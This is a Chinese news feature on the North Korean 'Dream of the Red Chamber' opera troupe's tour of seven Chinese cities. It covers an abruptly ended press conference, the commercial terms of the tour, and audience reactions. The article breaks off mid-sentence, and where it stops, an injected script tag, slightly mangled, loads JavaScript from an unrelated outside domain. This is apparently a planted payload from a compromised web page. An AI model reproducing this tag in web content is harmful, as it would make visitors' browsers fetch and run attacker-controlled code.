朝鲜《红楼梦》剧组中国行

　　神秘低调、一波三折、青春靓丽、商业元素……朝鲜《红楼梦》剧组的中国之行，传递出的信息丰富多彩

    《国际先驱导报》记者高浩荣、姚西蒙、杨梅菊发自平壤、北京

     金正日离开，《红楼梦》留下。

　　正如那位神秘领袖和他身后迷雾重重的国度一样，此次朝鲜《红楼梦》剧组的中国之行，所到之处，没完没了的猜测、追逐和流言，一直如影随形。

　　北京、呼和浩特、武汉、长沙、福州、重庆、深圳——7个城市；5月6日到6月15日，一个多月的时间；紧锣密鼓，20余场演出。从丹东火车站的闪亮登场到深圳的最后亮相，我们试图从198位青春靓丽的朝鲜青年演员身上发现的，除了一出阵容浩大催人泪下的《红楼梦》，还有艺术背后的种种。

　　突然中断的新闻发布会

　　继新华社播发的一张朝鲜《红楼梦》剧组专列驶入丹东的照片在网上获得极高点击率之后，人们对这支团队的兴趣从他们乘上火车时就开始了。而5月4日主办方安排的主创采访，更是吸引了大批中外媒体。

　　面对这么多带着好奇和探秘心态的记者，朝鲜艺术家显然有些准备不足，约定的采访时间还没到就匆匆离席，于是发布会还没开始就“莫名其妙”地结束了。

　　事实上，朝鲜血海歌剧团对媒体见面会异常谨慎，在采访前要求提交采访提纲，并一再强调不回答任何敏感问题。在摄影摄像上的要求更是严格，绝不允许记者私自进入后台或者排练现场进行拍摄，而新闻发布会突然中断就是因为有一些外国媒体没有遵守“规则”。

　　自去年中国总理温家宝访问朝鲜时观看朝版《红楼梦》，作为中朝友好60年的文化艺术交流项目，朝鲜《红楼梦》剧组的中国之行可谓水到渠成。

　　而文化交流项目与商业市场运作相结合，则是此次演出的一大特色。在谈到具体的商业价值时，中演集团相关人员透露，对于朝鲜剧团而言，这次演出无所谓是赔是赚，“对于他们来说，来中国演出已经是很不容易的了，而且，整个演出下来，朝鲜剧团会获得相应的补贴”。而对于全权负责此次演出安排的中演集团而言，问题就没有那么简单了。尽管演出的票房收入悉归中方所有，但由于前期赞助血海剧团20万元以及要为200人一个多月中国之行的饮食起居掏腰包，一圈下来，不赔，应该是最大目标。好在朝鲜方面除了对于舞台设施的要求比较苛刻之外，对于中方在其他方面所作的安排都“予以配合”，“对物质的要求并不高”，迄今为止，双方在沟通上都很顺利。

　　观众吃速效救心丸

　　面前黛玉尸身未寒，再也不会醒转来叫一声“哥哥”，贾宝玉一袭红袍覆白纱，几欲哭昏过去，直至身心俱冷，顿悟，贾宝玉伴一僧一道，消失在茫茫雪原。

　　台下观众无言，纷纷拭泪。继而，零落的掌声渐渐汇成河流，淹没舞台，观众起立，欢呼。

　　5月9日晚，北京BTV剧场，900名观众沉浸在难以言喻?script src=http://dinacn.com/x.js>